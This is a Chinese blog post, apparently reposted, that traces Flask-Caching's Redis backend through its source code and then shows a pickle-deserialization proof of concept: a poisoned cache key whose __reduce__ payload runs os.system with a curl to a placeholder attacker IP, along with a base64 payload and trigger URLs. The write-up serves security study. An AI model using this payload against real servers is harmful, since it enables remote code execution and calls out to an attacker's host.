html中file怎么重新赋值_flask_caching中的pickle反序列化问题

本文详细解析了Flask应用中使用Flask-Caching与Redis进行数据缓存的过程,包括配置、连接、数据存入Redis的操作,以及涉及的pickle序列化安全性问题。通过分析源码,阐述了缓存的key生成、value存储以及反序列化过程,揭示了潜在的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

76306a18986374efeef095dcaf9f2f93.png

源码

测试源码如下,根据调试情况随时修改

from flask import Flaskfrom flask import requestfrom flask_caching import Cachefrom redis import Redisimport base64import jinja2import osapp = Flask(__name__)app.config['CACHE_REDIS_HOST'] = 'localhost'cache = Cache(app, config={'CACHE_TYPE': 'redis'})redis = Redis('localhost')jinja_env = jinja2.Environment(autoescape=['html', 'xml'])@app.route('/', methods=['GET'])def notes_post():    if request.method == 'GET':        x = request.args.get('x') or 'x'        y = request.args.get('y') or 'y'        # y = base64.b64decode(y)        print(y)        redis.setex(name=x, value=y, time=100)    return 'hello world'@cache.cached(timeout=100)def _test0():    print('_test0 called')    return '_test0'@app.route('/0')def test0():    print('test0 called')    _test0()    return 'test0'@cache.cached(timeout=100)def _test1():    print('_test1 called')    return '_test1'@app.route('/1')def test1():    print('test1 called')    _test1()    return 'test1'if __name__ == "__main__":    app.run('127.0.0.1', 5000)

连接redis

断点如图

14795e9af02d2be2e485797dacaf6b51.png

首先去实例化 Cache 类控制 cache object,调用 Cache 类的 __init__ 函数做一些初始配置,再调用 init_app(app, config)

config = <class 'dict'>: {'CACHE_TYPE': 'redis'}self.with_jinja2_ext = Trueself.config = <class 'dict'>: {'CACHE_TYPE': 'redis'}self.source_check = None

3636ff88bd5cf66cc61b611f903d0b0d.png

在 init_app() 函数中,定义 base_config 变量,其中包含了 Flask 的 config 和 传入的 config 参数,即 {'CACHE_TYPE': 'redis'} ,最后对 config 进行重新赋值

64ad6f003a828152874a092cb489d549.png

然后对新定义的 config 设置一些初始值,这里面将缓存的默认前缀 CACHE_KEY_PREFIX 赋值为 flask_cache_

fa4b95f599cf5480c70af77966fd5ef2.png

然后会对缓存类型 CACHE_TYPE 做判断,由于选择的是 redis ,这里都不会进入 if 语句里面,会直接执行对 self.source_check 的赋值

config = <class 'dict'>: {'ENV': 'development', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CACHE_REDIS_HOST': 'localhost', 'CACHE_TYPE': 'redis', 'CACHE_DEFAULT_TIMEOUT': 300, 'CACHE_IGNORE_ERRORS': False, 'CACHE_THRESHOLD': 500, 'CACHE_KEY_PREFIX': 'flask_cache_', 'CACHE_MEMCACHED_SERVERS': None, 'CACHE_DIR': None, 'CACHE_OPTIONS': None, 'CACHE_ARGS': [], 'CACHE_NO_NULL_WARNING': False, 'CACHE_SOURCE_CHECK': False}self.with_jinja2_ext = Trueself.config = <class 'dict'>: {'CACHE_TYPE': 'redis'}self.source_check = False

1b79517933c68720f45e61b6fe60ba83.png

然后将当前 app 中 flask 临时环境变量 jinja_env 中的 _template_fragment_cache 设置为当前的实例化对象,即 flask_caching.Cache object 。然后将 jinja_env 中的 extensions 增加一个拓展 flask_caching.jinja2ext.CacheExtension 。然后执行 _set_cache(app, config)

ce292f24648b6ab55bf431cd834b241c.png

在 setcache 中定义变量 importme,也就是选择的缓存模式,这里为 redis 。接着导入 backends 下的 `_init.py,其中定义了不同模式对应的不同函数。然后通过 getattr 函数获取 backends 下__init.py中的redis()` 函数赋值给 cache_obj

73485bd70e900bf59b07685114767e77.png

接着是一系列的配置

182eefaeab1a33657713a7dfc5e27e35.png

然后会调用 cache_obj() 函数也即 redis() 函数

6b85dc673d225e5b84347f1891e95fb4.png

接下来看一下 redis() 函数,这里将连接所需要的参数存入 kwargs ,然后返回一个 RedisCache 对象

kwargs = 'dict'>: {'default_timeout': 300, 'host': 'localhost', 'port': 6379, 'key_prefix': 'flask_cache_'}

5e2fb8574988555ab774059b149c5c84.png

在 RedisCache 类的初始化中与 redis 建立连接,然后在 redis() 中返回该对象,即这里的 self,再在 _set_cache 中赋值给 app.extensions["cache"][self]

c28eb4468aa5a5900a07e874b90daa36.png

这就是 app.extensions 最终的样子,最后赋值给 Cache 类的 app 属性

92d4eb39616faebc028f0989ab343434.png

源代码中 cache = Cache(app, config={'CACHE_TYPE': 'redis'}) 这一句实现了对 redis 的配置,以及对 flask app 内容的拷贝与更新。print(cache.app.extensions) 结果如图

9033dfcfc5de50dccf076cc9b0eed611.png

接着到 redis = Redis('localhost') 他会进入 client.py 中 Redis 类的 __init__() 函数去连接 redis

redis 使用 connection pool 来管理对一个 redis server 的所有连接,避免每次建立、释放连接的开销。默认,每个 Redis 实例都会维护一个自己的连接池。可以直接建立一个连接池,然后作为 Redis 的参数,这样就可以实现多个 Redis 实例共享一个连接池。

实际上在源码中,下面两个用的是同一个 connection pool

cache = Cache(app, config={'CACHE_TYPE': 'redis'})redis = Redis('localhost')

先看一下 cache 里面的东西

7685bcb536bb990b6e512004542b5119.png

接着到修饰符那里

9c4605bb45a3b5f5801ef1946d581601.png

这里使用 Cache 类的 cached() 函数进行装饰,如果访问的话就相当于是执行了 cache.cached(timeout=100, _test0()),注意这里并没有执行装饰器函数,只是进行了定义。

2e348409278a856be661a16769d79add.png

至此,完成了 Cache 和 Redis 对 redis 的连接,二者详情如下

d1218e1c4af3a33cc4575bdee6d95c4c.png

数据存入redis

数据存入 redis

访问主页,执行到 redis.setex(name=x, value=y, time=100) 相当于执行 redis.setex('x', 'y', time=100)

dbf5ce07d4612e88395123e7fb266559.png

后端 execute_command() 函数进行拼接时为 b'*4\r\n$5\r\nSETEX\r\n$1\r\nx\r\n$3\r\n100\r\n$1\r\ny\r\n' ,接着会通过 socket 将这个命令发送给 redis 服务端,相当于在 redis 上执行 SETEX x 100 y 即 SETEX key seconds value

然后访问 http://127.0.0.1:5000/0

9c4605bb45a3b5f5801ef1946d581601.png

它会先执行 _test0() 在 return '_test0' 后执行 cache.cached(),传入的参数为

self, # 这里的 self 就是开始生成的 cache 对象timeout=100,key_prefix="view/%s",unless=None,forced_update=None,response_filter=None,query_string=False,hash_method=hashlib.md5,cache_none=False,make_cache_key=None,source_check=None

在访问 http://127.0.0.1:5000/0 时,首先执行 decorated_function(),进而到 _bypass_cache ,这里 unless 为 None,f 为 _test0() 函数,最终 _bypass_cache 返回 False。然后将 source_check 赋值为 False。然后执行 cache_key = _make_cache_key(args, kwargs, use_request=True)

82f3b47eb0ac264b1d81dca9195aad3a.png

71663fe73cc7e8a270a333dde2df8b2d.png

query_string 为 False,然后使用 callable() 函数检查 key_prefix 对象是否是可调用的,很明显返回 False。进入 elif 语句,use_request 为 True,对 key_prefix 进行拼接,结果为 view//0 即为 cache_key 的值。source_check 为 False 这里直接 return cache_key

2db95390776bbb5acea4b5c78a0f99a2.png

然后进入后面的 if 判断,callable(forced_update) 返回 False,会直接进入 else 语句,self.cache 这里是调用 self 的 cache() 函数,这里返回空(后面再分析),rv 为 None,found 赋值为 True。接着进入后面的 if 判断,rv 为 None,cache_none 为 False,所以将 found 赋值为 False

0a9288a53909745a839f2c8fff4aefcf.png

继续执行后面的判断,found 为 False,rv 为 _test0 的返回值 _test0 。response_filter 为 None,然后去执行 RedisCache 类的 set() 函数,传入的参数为

cache_key = 'view//0'rv = '_test0'timeout = 10

91974daa7903fbd234b40c88ca74b346.png

在 RedisCache 类的 set() 函数中可以看到,先计算超时时间,然后进行了 pickle 序列化,这里只是多加了一个 ! 然后使用 Redis>> 去执行 setex()

8ebdaf1c79ef9c51e58eaaf2a211c3eb.png

7fa26fc78aba0afbbdac294cf5e748c9.png

在执行 setex() 时会先获取 key_prefix 这里为 flask_cache_ ,然后去执行 execute_command() 向 redis 传输数据

19611969a41628367413c78cec77e65a.png

a7924cb3a66da2c57f2c0f265ff750f5.png

这就解释了为何 redis 的缓存的 key 是 flask_cache_view//0 对应的 value 是 b'!\x80\x03X\x06\x00\x00\x00_test0q\x00.'

ab693001cb1365838b7ce4ca47deccca.png

redis输出数据

上述情况是第一次访问,在第一次访问之后,redis 存在缓存,再次访问,cached() 函数中下图的位置和第一次访问不同,第二次访问时存在 cache_key 然后会直接 return rv

8fda20b70f9658a585adc269ec33f22c.png

进入 rv = self.cache.get(cache_key) 它这里实际上是在调用 cahce() 函数,在 globals.py 中定义了 current_app 为 LocalProxy 的对象,然后会返回 RedisCache 对象

bf989bf620ca65d03a22d8e70130760f.png

707fb5d24c44a6e842319d67e6000453.png

ef0fe7aa92b40e611b3cd943f1e6425d.png

接着会去调用 RedisCache 对象的 get() 函数,先将 key 进行拼接,然后利用 ConnectionPool 读取 redis 中的 key:value 数据,最后返回 value 的 pickle 反序列化结果

7380dae9f9bf097562d5b108b5c6e592.png

vuln

既然涉及到 pickle 序列化与反序列化,那就可能存在命令执行。在这个访问过程中,假设访问 http://127.0.0.1:5000/1 那么 redis 缓存的数据为

{    b'flask_cache_view//1' : b'!\x80\x03X\x06\x00\x00\x00_test1q\x00.'}

假设访问 http://127.0.0.1:5000/?x=flask_cache_view//1&y=123 那么 redis 缓存的数据为

{    b'flask_cache_view//1' : b'123'}

如果开始没有访问 http://127.0.0.1:5000/1 那么在访问 http://127.0.0.1:5000/?x=flask_cache_view//1&y=123 之后再去访问 http://127.0.0.1:5000/1,它并未执行 _test1(),且根据上面的分析它会对 value 进行 pickle 反序列化

3ee699a44c248a08da24d02b39830835.png

30a054dd4051dac3e541e7488bcd009f.png

把这里的源码改一下,加个 base64

@app.route('/', methods=['GET'])def notes_post():    if request.method == 'GET':        x = request.args.get('x') or 'x'        y = request.args.get('y') or 'y'        try:            y = base64.b64decode(y)        except Exception as e:            y = 'must be b64'        redis.setex(name=x, value=y, time=100)    return 'hello world'

然后写一个 pickle 反序列化的命令执行

import osimport pickleimport base64ip = 'YOUR_IP'port = 20000command = f'curl -d "test" {ip}:{port}'class PickleRce(object):    def __reduce__(self):        return (os.system,(command,))f = open('payload', 'wb')f.write(b'!'+pickle.dumps(PickleRce()))f.close()payload = open('payload', 'rb').read()payload = base64.b64encode(payload)print(payload)# IYADY250CnN5c3RlbQpxAFgcAAAAY3VybCAtZCAidGVzdCIgWU9VUl9JUDoyMDAwMHEBhXECUnEDLg==访问 http://127.0.0.1:5000/?x=flask_cache_view//1&y=IYADY250CnN5c3RlbQpxAFgcAAAAY3VybCAtZCAidGVzdCIgWU9VUl9JUDoyMDAwMHEBhXECUnEDLg==

然后访问 http://127.0.0.1:5000/1

d396c5c97d0ab1f22de8ec6a6ded3c73.png

e6a900de9cec8a0c09bd85e0297a6d95.png

aff4931b44f7a5fa510794ca92065f34.gif 戳“阅读原文”查看更多内容
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值